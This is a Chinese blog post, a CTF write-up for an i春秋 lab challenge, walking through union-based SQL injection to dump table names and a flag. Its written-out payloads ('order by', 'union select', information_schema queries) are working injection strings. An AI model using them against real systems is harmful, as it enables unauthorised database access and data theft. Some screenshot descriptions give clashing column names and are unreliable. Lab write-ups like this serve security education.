

i春秋之SQL注入-1

原创

金鼎 于 2022-04-04 16:49:51 发布 462 收藏

分类专栏: 春秋之WEB 文章标签: CTF 春秋

版权声明: 本文为博主原创文章, 遵循CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/l2872253606/article/details/123956043>

版权



[春秋之WEB 专栏收录该内容](#)

9篇文章 1订阅

订阅专栏

目录

[注入点判断](#)

[字段判断](#)

[爆表](#)

注入点判断

不难发现修改GET传参中id的值页面就不一样, 而且当id=1' and 1=2时页面不正常

notes

所以id就是注入点

字段判断

构建payload

```
inurl?id=1' order by x --+
```

当x=4的时候页面不正常，说明字段数为3，而且当id=4的时候页面也不正常

接着用联合注入，构建payload

```
inurl?id=-1' union select 1,2,3 --+
```

The screenshot shows a browser window with the following details:

- URL: `http://eci-2ze60ftp8mbf3nv18fol.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,2,3 --+`
- Page Title: notes
- Content: A list containing the numbers 2 and 3.

The screenshot shows the HackBar interface with the following details:

- Toolbar: 查看器, 控制台, 调试器, 网络, 样式编辑器, 性能, 内存, 存储, 无障碍环境, 应用程序, HackBar
- Menu: Encryption, Encoding, SQL, XSS, LFI, XXE, Other
- URL Input: `http://eci-2ze60ftp8mbf3nv18fol.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,2,3 --+`
- Buttons: Load URL, Split URL, Execute, Post data, Referer, User Agent, Cookies, Clear All

可以看到2和3的位置有回显

爆表

看一下当前数据库里的所有表名，构建payload

```
inurl?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
```

A screenshot of a browser window. The address bar shows a URL with a SQL injection payload: "http://eci-2ze60ftp8mbf3nv18fol.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+". The page title is "notes". A note in the notes section says "2 fl4g.notes".

A screenshot of a browser window showing the results of the SQL query. The results table has two rows, both labeled "fl4g". The columns are "table_name" and "table_schema". The first row has "fl4g" in both columns. The second row also has "fl4g" in both columns. The browser interface includes tabs like "查看器", "控制台", "调试器", and "HackBar".

可以看到有两表，接着看一下fl4g这个表里的字段有啥，构建payload

A screenshot of a browser window showing the notes section. It contains a note "2 fl4lag". The browser interface includes tabs like "查看器", "控制台", "调试器", and "HackBar".

A screenshot of a browser window showing the results of the SQL query. The results table has two rows, both labeled "fl4lag". The columns are "column_name" and "table_name". The first row has "id" in "column_name" and "fl4g" in "table_name". The second row has "name" in "column_name" and "fl4g" in "table_name". The browser interface includes tabs like "查看器", "控制台", "调试器", and "HackBar".

好了，知道字段名跟表名，我们来看一下字段里有啥，构建payload

A screenshot of a browser window showing the notes section. It contains a note "inurl?id=-1' union select 1,2,group_concat(flllag) from fl4g --+". The browser interface includes tabs like "查看器", "控制台", "调试器", and "HackBar".

A screenshot of a browser window showing the notes section. It contains a note "n1book{union_select_is_so_cool}".

A screenshot of a browser window showing the results of the SQL query. The results table has one row with the value "n1book{union_select_is_so_cool}" in the column "result". The browser interface includes tabs like "查看器", "控制台", "调试器", and "HackBar".

拿到flag